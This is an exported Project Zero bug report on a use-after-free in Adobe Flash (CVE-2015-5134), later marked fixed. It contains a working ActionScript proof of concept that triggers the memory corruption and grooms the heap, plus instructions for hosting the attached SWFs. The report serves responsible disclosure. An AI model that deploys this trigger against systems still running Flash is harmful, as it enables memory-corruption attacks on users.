Adobe Flash: Use-after-free when setting variable

[GoogleCodeExporter]

In certain cases where a native AS2 class sets an internal variable, it can 
lead to a use-after-free if the variable is a SharedObject. While this example 
shows setting NetConnection.contentType, this applies to several other 
variables including many proprties of the Sound and NetStream classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"};
s.data.contentType = o;
flush();
ASnative(2100, 200)(s.data); // new NetConnection
trace(s.data.contentType);
s = 1;

//Do GC

for(var i = 0; i < 100; i++){

    var b = new flash.display.BitmapData(100, 1000, true, 1000);

    }

setInterval(c, 1000);
function c(){
    ASnative(252, 1).call(o); //Array push

}

A fla, an AS file and two swfs are attached. donotdelete.fla compiles to 
donotdelete.swf and contains the code that causes the use-after-free. 
loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To 
make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on 
a webserver (the PoCs don't always work locally due to flash network 
sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but 
the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 May 2015 at 12:13

[GoogleCodeExporter]

Original comment by natashe...@google.com on 1 May 2015 at 12:14

Attachments:

• donotdelete.swf
• donotdelete.fla
• loadswf.swf
• loadswf.as

[GoogleCodeExporter]

Original comment by natashe...@google.com on 4 May 2015 at 7:37

• Added labels: Reported-2015-May-4
• Removed labels: Reported-2015-Apr-30

[GoogleCodeExporter]

This is PSIRT-3649

Original comment by natashe...@google.com on 5 May 2015 at 7:53

[GoogleCodeExporter]

Original comment by natashe...@google.com on 11 Aug 2015 at 3:47

• Changed state: Fixed
• Added labels: CVE-2015-5134, Deadline-Exceeded, Deadline-Grace, Id-3469

[GoogleCodeExporter]

Original comment by natashe...@google.com on 18 Aug 2015 at 7:16

• Removed labels: Restrict-View-Commit